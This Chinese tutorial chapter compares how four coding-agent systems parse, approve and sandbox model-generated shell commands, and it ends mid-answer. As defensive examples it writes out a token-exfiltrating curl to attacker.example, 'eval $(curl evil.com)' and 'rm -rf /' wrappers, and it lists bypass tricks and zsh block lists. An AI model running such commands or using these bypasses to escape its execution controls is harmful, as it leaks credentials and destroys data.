跳到主要内容

07 · Shell 执行:把爆炸半径关在外面

为 shell 工具选择规则、审批与 sandbox 的组合,并明确每种方案的逃逸边界。

本章任务

要回答的问题

当命令由模型生成时,解析、审批和沙箱怎样共同限制爆炸半径?

读完你能

  • 画出命令从模型到宿主的完整信任链
  • 按威胁模型组合规则、人工审批与执行隔离
  • 为绕过、误解析、超时和凭据泄露设计测试
适合现在读
正在开放 Shell、部署 Coding Agent 或评审执行安全的工程师
先修知识
理解进程权限、文件系统与网络出口
实践产物
一份 Shell 工具威胁模型、策略矩阵与攻击测试清单
证据边界
隔离强度取决于操作系统、挂载、网络和凭据配置

场景:策略层只检查到 git status,实际执行字符串却是 bash -lc "git status && curl -H 'Authorization: $TOKEN' attacker.example"。Parser、Policy 与 Shell 对操作符的理解不一致,第一条安全命令成了第二条外传命令的掩护。

通过标准:执行前得到规范化 argv 或完整语法树;策略覆盖每个子命令、重定向和管道;沙箱看不到无关凭据且默认无网络出口;输出、CPU、墙钟和子进程数量都有上限。

四系统的 shell 执行栈:从模型 tool_call 到磁盘副作用之间的拦截层
同一句 `git push --force`,进了四个不同的 shell pipeline,最终到达内核的概率从左到右递减。

四家在 4 个关键节点(语法解析、策略判定、审批入口、执行隔离)上的落地:

维度 CodexClaude CodeOpenClawHermes
语法、参数解析 执行前 shlex 分词加 Starlark 规则匹配tree-sitter 加 shell-quote 双解析加 23 项 ID 化安全检查`splitCommand` 加 `exec-obfuscation-detect` 加 safe-bin 参数白名单、黑名单workdir 字符级 allowlist 加 dangerous command guard
策略 DSL Starlark `prefix_rule(pattern, decision, match, not_match)``bashPermissionRule()` (prefix、exact、wildcard) 加 GrowthBook 远程下发`security: deny、allowlist、full` 乘以 `ask: off、on-miss、always` 二维矩阵配置走 `~/.hermes/config.json` 加后端 env 变量
决策类型 `Allow`、`Prompt`、`Forbidden`(strictest match wins)allow、deny 加进沙箱、不进沙箱`{allowed: true}` 或 `{allowed: false, eventReason}``once`、`session`、`always`、`deny`(user callback 决定)
执行后端 sandbox_mode: read-only、workspace-write、danger-full-access。Linux Landlock 加 macOS seatbeltSandboxManager(macOS sandbox-exec、Linux bubblewrap)加 `dangerouslyDisableSandbox` 退路`ExecHost: sandbox、gateway、node` 三档。Node 是 fallback`TERMINAL_ENV: local、docker、modal、ssh、singularity、daytona、managed-modal` 7 种
审批往返 `approval_policy: untrusted、on-failure、on-request、never`,CLI tui 接 promptpermission mode(plan、acceptEdits、bypassPermissions、default)加 canUseTool hookJSONL socket 推 `exec-approval-manager` 走 UI、Discord 投票`_approval_callback` 注入:CLI 直接 prompt,gateway 走 IM 平台
一条命令从 tool_call 到 PID 之间能被拦下的关卡

Codex · 执行策略做成 Starlark DSL 独立文件

Section titled “Codex · 执行策略做成 Starlark DSL 独立文件”

Codex 在 shell 执行这件事上的出发点是:哪些命令能跑这件事本质上是一组业务规则。什么命令该禁、什么命令该问、什么命令该放行,会随时间不断演进(新发现一个绕过 trick 就要加规则、新工具上线就要加新规则、企业政策变化就要调整规则),如果把这些规则硬编码在 Rust 代码里,每次改规则就要重新发版,运维和安全团队就完全没法独立迭代。

所以 Codex 选择把这一层提取成独立的 DSL(领域专用语言),用一种叫 Starlark 的脚本语言(Google 在 Bazel 构建系统里用的那个 Python 子集,特点是确定性求值、没有副作用、易于沙箱化)写在一份独立的 .codexpolicy 文件里,agent 启动时加载这份文件,每次工具调用前用规则匹配命令、命中后返回三档 Decision:

Codex codex/codex-rs/execpolicy/src/decision.rs:1-28 execpolicy 的三档决策枚举
pub enum Decision {
/// Command may run without further approval.
Allow,
/// Request explicit user approval; rejected outright
/// when running with `approval_policy="never"`.
Prompt,
/// Command is blocked without further consideration.
Forbidden,
}

策略本身长这样(取自 examples):

Codex codex/codex-rs/execpolicy/examples/example.codexpolicy:1-46 Starlark 写的 prefix 规则 + match/not_match 自带单测
prefix_rule(
pattern = ["git", "reset", "--hard"],
decision = "forbidden",
justification = "destructive operation",
match = [
["git", "reset", "--hard"],
],
not_match = [
["git", "reset", "--keep"],
"git reset --merge",
],
)
prefix_rule(
pattern = ["cp"],
decision = "prompt",
match = [
["cp", "foo", "bar"],
"cp -r src dest",
],
)

这个例子里有三个工程细节值得反复看。第一个是 match 跟 not_match 字段把每条规则的「期望行为」就地写成单元测试。每条 prefix_rule 既声明了模式,也声明了「这些命令应该命中」和「这些命令不应该命中」。agent 启动加载 .codexpolicy 时会把每条规则的 match 和 not_match 全部跑一遍验证,写错的规则启动就直接 panic,不会等到运行时碰到才崩。

例子里 git reset --hard 的规则就明确说「命中 git reset --hard 但不命中 git reset --keepgit reset --merge」,未来如果加新规则导致 git reset --keep 也被误拦,启动就 fail,运维立刻发现。

第二个是 justification 字段:拦截一条命令时这段文字会显示在 approval prompt 里,告诉用户「这条命令为什么被拦了」(例子里写的是 destructive operation),用户不用去翻代码也能立刻明白原因。好的 justification 还可以提示替代命令(比如 git reset --hard 被拦了,justification 可以告诉用户「试试 git stashgit checkout 组合」)。

第三个是「最严决策赢」原则:一条命令可能命中多条规则(比如 git reset --hard origin/main 既命中 git 规则又命中 git reset --hard 规则),不需要规则之间互斥,Codex 内部会按照 Forbidden 大于 Prompt 大于 Allow 的优先级取最严的那个,规则作者写规则时不需要考虑「我跟其他规则会不会冲突」,大大降低了维护复杂度。

execpolicy 这一层只决定「该不该跑」。决定通过后真要跑起来还要再过第二层独立的 sandbox 隔离:sandbox_mode 提供三档(read-only 只读不写、workspace-write 只能写工作目录、danger-full-access 全开),Linux 上用 Landlock 加 seccomp 组合(Landlock 限制文件系统访问、seccomp 拦截系统调用),macOS 上用 seatbelt(sandbox-exec 配 .sb 策略文件)。

两层之间的关系是:execpolicy 卡命令字面(看 argv 长什么样),sandbox 卡系统调用(看进程实际想干什么)。这组边界可以为部分策略漏放提供额外约束,但实际覆盖仍取决于 sandbox 和宿主配置,不能把它写成自动兜底。

Claude Code · BashTool 内部 23 项 ID 化安全检查加 tree-sitter 双解析

Section titled “Claude Code · BashTool 内部 23 项 ID 化安全检查加 tree-sitter 双解析”

Claude Code 在 shell 执行上采取了不同取舍:它不做独立的 DSL,而是把拦截逻辑集中在 BashTool 这个工具内部。

理由是:bash 是一种语义复杂的语言(有 here-doc、command substitution、process substitution、various redirection、brace expansion、parameter expansion 等等),简单的 prefix 匹配根本没法准确判断「这条 bash 命令到底要做什么」。

要真正弄懂 bash 命令的语义只能走 AST 解析,而 AST 解析的复杂度跟规则匹配语言已经不在一个量级,所以索性把 AST 解析跟所有具体的检查器都集成到 BashTool 内部,给每个检查器编上数字 ID(这样日志只记 ID 不记原始命令,避免 PII 泄漏)。打开 bashSecurity.ts 第一段就是 23 类风险的编号清单:

Claude Code claude-code/src/tools/BashTool/bashSecurity.ts:76-101 23 类 bash 安全检查 ID(用数字而不是字符串记日志,避免 PII 泄漏)
const BASH_SECURITY_CHECK_IDS = {
INCOMPLETE_COMMANDS: 1,
JQ_SYSTEM_FUNCTION: 2,
JQ_FILE_ARGUMENTS: 3,
OBFUSCATED_FLAGS: 4,
SHELL_METACHARACTERS: 5,
DANGEROUS_VARIABLES: 6,
NEWLINES: 7,
DANGEROUS_PATTERNS_COMMAND_SUBSTITUTION: 8,
DANGEROUS_PATTERNS_INPUT_REDIRECTION: 9,
DANGEROUS_PATTERNS_OUTPUT_REDIRECTION: 10,
IFS_INJECTION: 11,
GIT_COMMIT_SUBSTITUTION: 12,
PROC_ENVIRON_ACCESS: 13,
MALFORMED_TOKEN_INJECTION: 14,
BACKSLASH_ESCAPED_WHITESPACE: 15,
BRACE_EXPANSION: 16,
CONTROL_CHARACTERS: 17,
UNICODE_WHITESPACE: 18,
MID_WORD_HASH: 19,
ZSH_DANGEROUS_COMMANDS: 20,
BACKSLASH_ESCAPED_OPERATORS: 21,
COMMENT_QUOTE_DESYNC: 22,
QUOTED_NEWLINE: 23,
} as const

读这 23 个 ID 就能感受到这层防护干的活有多细。ID 1 INCOMPLETE_COMMANDS 是「命令以 \| 结尾导致行未结束」(攻击者可能用这种构造让 bash 在 here-doc 里继续接收命令)。ID 4 OBFUSCATED_FLAGS 是「flag 被 base64、hex、unicode 编码后混在 argv 里」。

ID 5 SHELL_METACHARACTERS 是检测「& | ; && || < > << <<< () {} [] $ ``` 这些会改变命令语义的字符」。ID 11 IFS_INJECTION 是「内置变量 IFS 被改写导致 bash 用其他字符作分隔符」(一个经典的注入手法)。ID 13 PROC_ENVIRON_ACCESS 是「访问 /proc/PID/environ 文件偷其他进程的环境变量」。

ID 18 UNICODE_WHITESPACE 是「使用 Unicode 空白字符(U+00A0 不间断空格、U+2028 行分隔符等)让 bash parser 看到的命令跟肉眼看到的不一样」。ID 19 MID_WORD_HASH 是「一个 word 中间夹 # 字符」(在某些 bash 配置下可能被当注释开始)。ID 22 COMMENT_QUOTE_DESYNC 是「注释里的引号让后续 bash 解析陷入引号未关闭状态」。

ID 23 QUOTED_NEWLINE 是「引号里的换行符让单行命令实际跨多行执行」。每一个 ID 都对应一类真实出现过的 shell 注入 trick,Claude Code 团队在 GitHub Security Advisories 或 CVE 数据库找到对应的攻击模式后,每个 trick 加一个独立检查器,规模化的 defense-in-depth 思路。

第二层防护是 zsh 特有的危险命令拒绝清单。bash 跟 zsh 在 shell 语法上很相似但 zsh 有几个额外的危险特性:zmodload 可以动态加载 zsh 模块(比如 zsh/system 模块加载后就有 sysopen、syswrite、sysseek 这种绕过文件 binary 检查的 builtin。zsh/zpty 模块加载后就有 zpty 这种 pseudo-terminal 执行能力。

zsh/net/tcp 模块加载后就有 ztcp 直接走 TCP 网络的能力。zsh/files 模块加载后就有 zf_rm、zf_mv、zf_chmod 这些绕过 PATH binary 解析的 builtin):

Claude Code claude-code/src/tools/BashTool/bashSecurity.ts:45-74 zsh 模块加载相关的 dangerous command 集合
const ZSH_DANGEROUS_COMMANDS = new Set([
// zmodload is the gateway to many dangerous module-based attacks:
// zsh/mapfile (invisible file I/O via array assignment),
// zsh/system (sysopen/syswrite two-step file access),
// zsh/zpty (pseudo-terminal command execution),
// zsh/net/tcp (network exfiltration via ztcp),
// zsh/files (builtin rm/mv/ln/chmod that bypass binary checks)
'zmodload',
'emulate', // eval-equivalent
'sysopen', 'sysread', 'syswrite', 'sysseek', // zsh/system
'zpty', // pseudo-terminal exec
'ztcp', 'zsocket',
'mapfile',
'zf_rm', 'zf_mv', 'zf_ln', 'zf_chmod', // builtins that bypass binary checks
// ...
])

这一类「zsh 模块加载」防护容易被忽略。很多 shell 安全实现没有覆盖同样的 zsh 模块面;这个快照则明确处理了支持平台上的 zsh 执行方式。emulate 是 zsh 的 eval 等价物(执行 string 作为命令)也被拒绝。

第三层防护是 sandbox。命令通过了上面 23 项检查加 zsh dangerous commands 后,shouldUseSandbox() 默认返回 true,把命令丢进 sandbox 跑(macOS 用 sandbox-exec、Linux 用 bubblewrap),只有用户显式在 settings 里把命令加进 sandbox.excludedCommands、或者命令调用时显式传 dangerouslyDisableSandbox: true 才不进沙箱:

Claude Code claude-code/src/tools/BashTool/shouldUseSandbox.ts:130-153 sandbox-by-default:默认进沙箱,用户白名单才放行
export function shouldUseSandbox(input: Partial<SandboxInput>): boolean {
if (!SandboxManager.isSandboxingEnabled()) return false
// Don't sandbox if explicitly overridden AND unsandboxed commands are allowed
if (
input.dangerouslyDisableSandbox &&
SandboxManager.areUnsandboxedCommandsAllowed()
) return false
if (!input.command) return false
if (containsExcludedCommand(input.command)) return false
return true
}

这段代码里有一个工程上很重要的注释(在源码 shouldUseSandbox.ts 文件靠前的位置)写道:「excludedCommands is a user convenience feature, not a security boundary」。明确告诉所有 reviewer 跟未来开发者「这个 excludedCommands 不是给攻击者用来绕过沙箱的,而是给用户在『我知道这条命令安全可以不进沙箱』的场景做便利的。

在这条源码路径和对应配置下,sandbox 与 permission prompt 构成两道边界;实际是否启用、何时询问,仍取决于 permission mode 和用户配置。excludedCommands 只是便利选项,不应当被当成安全边界。这条注释的价值,是提醒 reviewer 把两者分开审。

OpenClaw · 二维矩阵加 per-binary safe-bin profile 加 GNU long-flag 缩写还原

Section titled “OpenClaw · 二维矩阵加 per-binary safe-bin profile 加 GNU long-flag 缩写还原”

OpenClaw 在 shell 执行上做的判断又跟前两家不同:它认为不同的部署形态(个人开发机、企业 CI、生产服务)对 shell 执行的安全偏好差异巨大,平台不应该硬编码任何一种策略,而应该给运维提供细粒度的旋钮,让他们按自己的部署场景调整。所以 OpenClaw 把 shell 执行抽成一套独立的 exec-approvals 子系统,定义了三个独立维度供运维组合:

OpenClaw openclaw/src/infra/exec-approvals.ts:10-36 security × ask 二维:3 × 3 = 9 种组合
export type ExecHost = "sandbox" | "gateway" | "node";
export type ExecSecurity = "deny" | "allowlist" | "full";
export type ExecAsk = "off" | "on-miss" | "always";
export function normalizeExecHost(value?: string | null): ExecHost | null {
const normalized = value?.trim().toLowerCase();
if (normalized === "sandbox" || normalized === "gateway" || normalized === "node") {
return normalized;
}
return null;
}

三个维度的含义是这样的。ExecHost 是「在哪个宿主里跑」:sandbox 是 OpenClaw 内置的隔离沙箱(具体怎么实现由部署方决定,可以接 Docker、Firecracker、Lambda)。gateway 是把执行委托给一个常驻的 gateway daemon(多个 agent 共享一个隔离边界)。node 是直接在当前 Node.js 进程里跑(fallback 模式,没有隔离)。

ExecSecurity 是「安全级别」:deny 直接禁所有 shell 执行(适合「这个 agent 完全不该跑 shell」的场景)。allowlist 只允许白名单内的命令。full 全开(适合个人开发机充分信任 agent 的场景)。ExecAsk 是「问不问用户」:off 永远不问。on-miss 只在 allowlist 未命中时问(让用户决定要不要临时放行)。always 每条命令都问(最保守的场景)。

三个维度的乘积理论上有 3 乘 3 乘 3 等于 27 种组合。哪些组合值得保留,要看部署约束;例如 sandbox 加 allowlist 加 on-miss 可用于需要人工兜底的 CI,gateway 加 full 加 off 只适合明确受信任的内部环境。

allowlist 模式下有一个特别细致的处理:shell wrapper(sh -cbash -c、Windows cmd.exe /c)会被单独 block。理由是这种 wrapper 是把 allowlist 绕过的最常见 trick:

OpenClaw openclaw/src/node-host/exec-policy.ts:52-90 evaluateSystemRunPolicy:allowlist 模式下 shell wrapper 直接 deny
export function evaluateSystemRunPolicy(params: {
security: ExecSecurity;
ask: ExecAsk;
analysisOk: boolean;
allowlistSatisfied: boolean;
approvalDecision: ExecApprovalDecision;
approved?: boolean;
isWindows: boolean;
cmdInvocation: boolean;
shellWrapperInvocation: boolean;
}): SystemRunPolicyDecision {
const shellWrapperBlocked =
params.security === "allowlist" && params.shellWrapperInvocation;
const windowsShellWrapperBlocked =
shellWrapperBlocked && params.isWindows && params.cmdInvocation;
const analysisOk = shellWrapperBlocked ? false : params.analysisOk;
const allowlistSatisfied = shellWrapperBlocked ? false : params.allowlistSatisfied;
// ...
if (params.security === "deny") {
return {
allowed: false,
eventReason: "security=deny",
errorMessage: "SYSTEM_RUN_DISABLED: security=deny",
// ...
};
}
// ...
}

具体的绕过场景是:假设 allowlist 包含 git、npm、ls 这三个 binary,攻击者可能让模型生成 sh -c "rm -rf /"。argv 第一个 token 是 sh(不在 allowlist 但是常见 shell),如果 OpenClaw 只检查 argv[0] 就放行,那 -c 后面的 rm -rf / 就会被 sh 执行。

为了堵这个洞,OpenClaw 在 allowlist 模式下把 sh、bash、zsh、cmd.exe、powershell 这些 shell wrapper 单独 deny,连带 Windows 上的 cmd /c 也专门处理(因为 cmd 的语法跟 sh 不一样,需要单独识别)。

结合代码看 shellWrapperBlocked = security === "allowlist" && shellWrapperInvocation,只有在 allowlist 模式才 block(full 模式不 block 因为既然全放行就不在乎 wrapper、deny 模式根本进不来)。如果命令被识别为 shell wrapper,整个命令的 analysisOk 跟 allowlistSatisfied 都被强制设为 false,命令必定被拒绝。

allowlist 命中后,OpenClaw 还有第二层精细控制:每个被允许的 binary 都有自己的 safe-bin profile,登记可用的 flag、最少、最多位置参数等:

OpenClaw openclaw/src/infra/exec-safe-bin-policy-profiles.ts:1-30 每个允许的二进制带 flag 白名单 / 黑名单 / 位置参数边界
export type SafeBinProfile = {
minPositional?: number;
maxPositional?: number;
allowedValueFlags?: ReadonlySet<string>;
deniedFlags?: ReadonlySet<string>;
// Precomputed long-option metadata for GNU abbreviation resolution.
knownLongFlags?: readonly string[];
knownLongFlagsSet?: ReadonlySet<string>;
longFlagPrefixMap?: ReadonlyMap<string, string | null>;
};

具体的字段含义是这样的。allowedValueFlags 是「这个 binary 允许使用的 flag」(例如 git 的 profile 可能 allow --branch--no-pager 但不 allow --git-dir,避免攻击者改 git internals)。deniedFlags 是「这个 binary 明确禁止的 flag」(例如 rm 的 profile 必须 deny --force--recursive)。

minPositional 跟 maxPositional 是位置参数的边界(例如 ls 的 profile 可能要求 minPositional=0 maxPositional=10,防止有人传一百个位置参数让进程爆栈)。knownLongFlagsSet 跟 longFlagPrefixMap 是 GNU long flag 的元信息,专门用来处理 GNU 风格的 long flag 缩写。

在这四个样本里,OpenClaw 明确处理了 GNU long flag 缩写。GNU 工具允许在缩写唯一匹配时省略后缀,例如 git --version 可能等价于 git --vers;解析器必须先确认没有歧义。

rm --force 也可以缩写成 rm --for 甚至 rm --fo(只要 --f 开头的 long flag 只有 --force 一个)。如果攻击者知道 deniedFlags 包含 --force,可以让模型生成 rm --for 试图绕过。

OpenClaw 利用 longFlagPrefixMap 把 long flag 缩写还原后再匹配 allowedValueFlags 与 deniedFlags,因此这条路径会把 --for--force 视为同一选项。在本次固定快照检查到的对应路径中,其他三个样本没有同等的 GNU 缩写处理;这不排除它们在别处或后续版本加入防护。

审批环节走异步通信。当一条命令需要 ask(命中 on-miss 或 always 策略),exec-approval-manager 不在原地阻塞,而是通过 JSONL socket 把审批请求推给 UI、Discord、CLI、gateway 任一个 channel(具体走哪个 channel 由用户当前在哪个入口活跃决定),用户在自己习惯的入口确认或拒绝。

这种「审批入口跟 agent 主循环解耦」的设计让 OpenClaw 可以同时接多个入口(详见第 14 章多通道入口),用户在 Telegram 上跟 agent 聊到一半也可以批准 IDE 里 agent 想跑的 git 命令。

Hermes · 不挡 shell,挡执行环境:命令丢进 7 种后端之一隔离

Section titled “Hermes · 不挡 shell,挡执行环境:命令丢进 7 种后端之一隔离”

Hermes 在 shell 执行上做了不同取舍。它的判断是:命令层面叠加 AST 解析、许多检查和 safe-bin profile 会带来较高维护成本(新 trick 需要新规则,规则也可能冲突)。误报和漏报不能指望降到零,因此它把更多防护放到执行环境层。

不如换个思路:把一部分风险移到执行环境。Docker、Modal 或其他后端可以缩小 blast radius,但是否能保护宿主取决于镜像、挂载、socket、capabilities、网络和运行时配置;容器并不自动隔离 host。Hermes 通过 TERMINAL_ENV 选择后端:

Hermes hermes-agent/tools/terminal_tool.py:1-32 terminal 工具支持 7 种执行后端,从 local 到 cloud sandbox
"""
Terminal Tool Module
A terminal tool that executes commands in local, Docker, Modal, SSH,
Singularity, and Daytona environments. Supports local execution,
containerized backends, and Modal cloud sandboxes, including managed
gateway mode.
Environment Selection (via TERMINAL_ENV environment variable):
- "local": Execute directly on the host machine (default, fastest)
- "docker": Execute in Docker containers (isolated, requires Docker)
- "modal": Execute in Modal cloud sandboxes (direct Modal or managed gateway)
Features:
- Multiple execution backends (local, docker, modal)
- Background task support
- VM/container lifecycle management
- Automatic cleanup after inactivity
"""

7 种后端的差异展开:local 是「直接在 host 上跑」零隔离最快,适合个人开发机充分信任 agent 的场景。docker 是「本地 Docker 容器」隔离中等延迟低,适合大部分场景。modal 是「Modal 云端 sandbox」隔离强但要走网络,适合 SaaS agent。singularity 是「HPC 容器」专为高性能计算环境设计。daytona 是「dev-as-a-service 容器」适合 dev environment 即用即弃的场景。

ssh 是「远程机器」适合在专用机器上跑命令。managed-modal 是 Modal 的托管模式(直接对接 Modal 的 gateway,不需要用户自己管 Modal API key)。每种后端还有自己的 image、CPU、memory、disk、persistence 等独立配置维度(参见第 13 章 sandbox),用户可以按场景精细调整。

虽然主要隔离靠环境,Hermes 还是在命令层做了两件最少必要的事:workdir 字符 allowlist 加 _check_all_guards

Hermes hermes-agent/tools/terminal_tool.py:150-177 workdir 安全字符正则 + allowlist 校验
# Allowlist: characters that can legitimately appear in directory paths.
_WORKDIR_SAFE_RE = re.compile(r'^[A-Za-z0-9/\\:_\-.~ +@=,]+$')
def _validate_workdir(workdir: str) -> str | None:
"""Reject workdir values that don't look like a filesystem path.
Uses an allowlist of safe characters rather than a deny-list, so novel
shell metacharacters can't slip through.
"""
if not workdir:
return None
if not _WORKDIR_SAFE_RE.match(workdir):
for ch in workdir:
if not _WORKDIR_SAFE_RE.match(ch):
return (
f"Blocked: workdir contains disallowed character {repr(ch)}. "
"Use a simple filesystem path without shell metacharacters."
)
return "Blocked: workdir contains disallowed characters."
return None

注意这一段代码里几个细节。_WORKDIR_SAFE_RE 用的是 allowlist(明确列出允许的字符)而不是 deny-list(明确列出禁止的字符),作者在 docstring 里直白写:「Uses an allowlist of safe characters rather than a deny-list, so novel shell metacharacters can’t slip through」。

deny-list 是「黑名单」思路(列出已知坏字符),新冒出来的 metacharacter 可能绕过。allowlist 是「白名单」思路(只允许已知安全字符),能减少这类绕过,但不等于漏判为零。这种「写明为什么用 allowlist 不用 deny-list」的文档习惯让后人维护时不容易误改成 deny-list。

允许的字符集合 A-Za-z0-9/\\:_\-.~ +@=, 覆盖了常见 Unix 和 Windows 路径字符,但不代表覆盖所有合法路径,也不负责检查 ..、符号链接或挂载边界;它只减少一类 shell 元字符输入。

如果 workdir 字符串里出现任何不在 allowlist 的字符,函数会逐字符再扫一遍找出具体哪个字符违规,给用户一条精准的错误消息(不是「workdir invalid」这种模糊的,而是「Blocked: workdir contains disallowed character ’$‘」这种具体的)。

_check_all_guards 是命令层的第二道护栏,它委托给 tirith(Hermes 自家的危险命令探测子进程)做实际判定加 approval_callback(用户提供的审批回调)。tirith 是个独立进程,跑在 agent 的子进程里,加载几百个危险命令模式(参见第 20 章安全)做匹配,返回 exit code(0 允许、1 阻止、2 警告)。

agent 拿到结果后调用 approval_callback 让用户决定 once、session、always、deny,CLI 模式下直接在终端 prompt,gateway 模式下走 Telegram、Slack、Discord 等 IM 平台(参见第 14 章多通道入口)。

为什么 Hermes 在命令层只做这么少?因为它把一部分防护放到执行环境层。切换到 docker、modal 或 managed-modal 可以缩小 blast radius,但实际边界取决于镜像、挂载、capabilities、网络和宿主配置;容器不是 host 安全的保证。命令层做太多 AST 解析也会增加维护成本,这是 Hermes 跟前三家的一项取舍差异。

四个实现覆盖的 shell 边界不同。下面四点是审查问题,不是四家共同实现的保证。

第一件是 bash、zsh 不能只靠一条正则挡住。它们包含 here-doc、命令替换、重定向和参数展开等语法。Codex、Claude Code、OpenClaw 和 Hermes 分别选择分词、AST、混淆检测或 workdir 字符校验;这些层的覆盖面不同,不能互相替代。

第二件是分开审查命令和执行环境。四个样本都能找到这两类配置,但实际是否启用、覆盖哪些路径取决于 host 和部署。命令策略约束 argv 或 shell 形状,环境层约束进程能访问什么;不能假设一层漏放后另一层必然拦住。

第三件是审批请求可以异步传递。Codex、Claude Code、OpenClaw 和 Hermes 都有不同的交互入口,但异步 callback 只说明请求不会占住发送线程;当前工具动作通常仍要等待决定,不能据此推断 agent 会并行读文件或查文档。

第四件是 shell wrapper(sh -c、bash -c、cmd /c)要单独建模。它把真实命令藏在 -c 字符串里,argv 级检查可能看不到。OpenClaw 在 allowlist 模式下直接拒绝 wrapper;Codex 对相关命令提升为 Prompt;其他实现的解析和审批路径要以具体源码为准,不能统称为递归解析。

四家 Shell 系统在 默认安全度 加 日常使用流畅度 两条轴上的位置
Claude Code 和 OpenClaw 守着右下(最严但每条命令都要审),Codex 居中(规则可 diff),Hermes 走顶部(命令层放行加环境层隔离换流畅度)。

「shell 防护做多严」这件事的分歧本质上是「你的 agent 在什么场景跑」的差异。从场景反推选型,四种取舍各对应一类典型部署。

个人开发者用 agent 做日常编码,最痛的是每条命令都被审批弹窗打断。Hermes 的 TERMINAL_ENV=docker 路线可以减少命令层拦截,但是否适合取决于镜像、挂载、网络和审计要求。代价是命令层的细粒度审计能力弱(要看具体跑了什么命令得查容器日志)。

企业部署 agent 给员工用,安全合规要求每条命令都可审计:可以评估 OpenClaw 的 security=allowlist 加 per-binary safe-bin profile。它把 flag 边界和缩写解析放到命令层,代价是 profile 维护和审批频率上升;是否足够要结合你的 shell、工具和审计要求测试。

把 agent 接入 CI、自动化系统,规则需要 git 化跟版本控制。可以评估 Codex 的 .codexpolicy Starlark DSL:规则能放进 git 仓库 review、diff 和 CI 验证(match、not_match 自带单测会 fail-fast)。代价是 Starlark 对运维有学习门槛,也需要维护规则集。

做跨 IDE、跨平台的开发者工具,用户量大且背景各异:可以研究 Claude Code 的 23 项检查、tree-sitter 双解析、sandbox-by-default 和 permission mode。它提供较强的默认约束,但源码不能证明覆盖所有注入变体;额外延迟和维护成本应在目标平台实测。

威胁模型或约束借鉴路线代价或边界
规则必须版本化,并在 CI 中审阅Codex execpolicy 加 sandbox规则作者要维护 DSL
不可信命令需要完整解析和默认隔离Claude Code AST 检查加 sandbox解析开销更高,平台行为有差异
运维人员需要可调的审批矩阵OpenClaw execSecurity、execAsk、execHost配置容易被误读
主机影响必须留在进程外Hermes 的隔离终端后端命令层过滤相对薄

自己实现 shell 执行与命令审查时,先定义默认拒绝、审批和工作目录边界,再补解析器、策略 DSL 与隔离后端。

复刻方案

最小可行

  • 从 allowlist 起步:维护一份 safe-cmd.txt,把 shlex 分词和首 token 比对当作演示入口,不要把它当完整安全边界。真实执行前还要解析管道、重定向、替换和 wrapper,并做策略测试
  • 在威胁模型允许时,把非 allowlist 命令送审批,不要未经检查就全部 deny。展示命令并记录决定,可以减少打断,同时保留审查点
  • workdir 先做字符校验,再对 realpath 做 workspace containment 检查。字符 allowlist 不能单独阻止 `../`、符号链接或挂载造成的越界
  • shell wrapper(sh -c、bash -c、cmd /c)默认进审批。这些 wrapper 让模型可以构造任意命令(绕过 allowlist 检查),必须人工审批确认意图

进阶

  • 把策略提取成独立 DSL(参考 Codex execpolicy Starlark)。规则可 git diff、可 review、可 CI 自动测试。规则跟代码分离让安全审计更容易
  • 每条规则带 match、not_match 自带单测,加载时全跑一遍。错的规则启动就崩(fail fast),避免「运行了一周才发现某条规则是错的」
  • shell 解析用 tree-sitter(参考 Claude Code)。能识别 here-doc、command substitution、redirection 等复杂结构。正则解析对这些结构经常出错(漏判、误判都很严重)
  • 加 per-binary flag 白名单、黑名单(参考 OpenClaw 的 safe-bin profile)。同一个命令不同 flag 风险天差地别(git status 安全、git push --force 危险),细到 flag 级别才能精确控制
  • 高危场景可以换执行后端(参考 Hermes)。docker、firecracker、cloud sandbox 只是在配置正确时缩小 blast radius;还要审计镜像、挂载、capabilities、网络和逃逸路径
  • 所有 sec check 给数字 ID(参考 Claude Code 的 23 个 ID-tagged checks)。日志里只记 ID 不记原始命令。这样既能追溯(哪个 check 拦的),又不泄漏命令细节给日志收集系统

一开始别做

  • 别只靠 deny-list:新的 shell trick 可能要求不断加规则并留下空隙;把已知模式检查和解析、隔离、审计证据组合起来
  • 别让 sandbox 当唯一防线:它的保护取决于配置和平台历史;按威胁模型组合命令审查、隔离与审计
  • 别在 prompt 里教模型「不要 rm -rf」。模型遵循提示不能当作安全保证,尤其在 prompt 被污染或遭遇 jailbreak 时;安全控制要落在工具和执行环境层
  • 别把 excludedCommands 这种便利特性当安全边界(Claude Code 的源码注释明说这一点)。这些是「用户体验」特性(避免烦人的批准弹窗),不是安全边界(attacker 可以构造命令绕过)
一条 git push --force 在四家 Shell pipeline 里的命运
同一条命令,四家挡的位置完全不重叠:Codex 在 DSL 决策、Claude Code 在 bash 解析、OpenClaw 在矩阵加 binary profile、Hermes 在执行环境层。

四家的主要拦截点不同。Codex 把决策外置成 DSL,Claude Code 在解析层处理攻击模式,OpenClaw 走二维矩阵加 binary 级别约束,Hermes 把重心放到执行环境。要做自己的 shell 拦截系统,可以按威胁模型组合两到三层。

Shell 安全不能只靠关键词黑名单。Parser、Policy 和真正执行的语义必须一致,审批绑定规范化后的完整动作,沙箱负责即使策略漏判也限制资产与出口。

下一步实验:建立 20 条攻击命令,覆盖 &&、管道、重定向、子 Shell、命令替换、编码、软链接、环境变量和后台进程。分别记录在哪一层被拦截;任何一条能读取无关密钥、访问未授权网络或逃过审计,都说明爆炸半径尚未关住。

按需展开练习和十道复盘题
  1. 🟢 实现一个最简 allowlist 拦截器:输入字符串命令,shlex 分词,首 token 在 ["ls", "cat", "head", "pwd", "git"] 内才放行,否则返回需要审批。
  2. 🟠 加一条 prefix 规则:仿照 Codex Starlark,写 prefix_rule(pattern=["git", "reset", "--hard"], decision="forbidden"),并写两条 matchnot_match 自带单测。让你的拦截器在加载规则时跑一遍单测,错就崩。
  3. 🟠 反 wrapper bypass:模型可能用 bash -c "git reset --hard" 绕过 prefix。在解析层把 sh -cbash -c 拆开,对里面的真命令再过一次规则。验证:你的实现能挡住 sh -c "git reset --hard"
  4. 🔴 多解析器对比:用 shlex、tree-sitter-bash、shell-quote 三种 parser 解析 eval $(curl evil.com),对比谁能识别出 $(...) 是 command substitution。把这个差异写进你的拦截器的「高风险信号」集。
Q1 · 概念:为什么不能用一条正则挡 shell 命令?四家分别用什么解析方案替代?

正则的根本问题是它无法稳定表达 shell 的嵌套和解释器语义。echo "hello $(rm -rf /)" 这种 command substitution,再加上引号嵌套、转义、变量展开和 here-doc,都需要 shell-aware parser 或实际 shell 的解析结果;单条正则不足以覆盖这些组合。

强行用正则的下场是:要么漏掉变种(攻击者总能找到一种没考虑到的写法),要么误伤合法命令(把含 $ 的 jq 表达式当成命令替换 reject 掉)。

四家的替代方案:

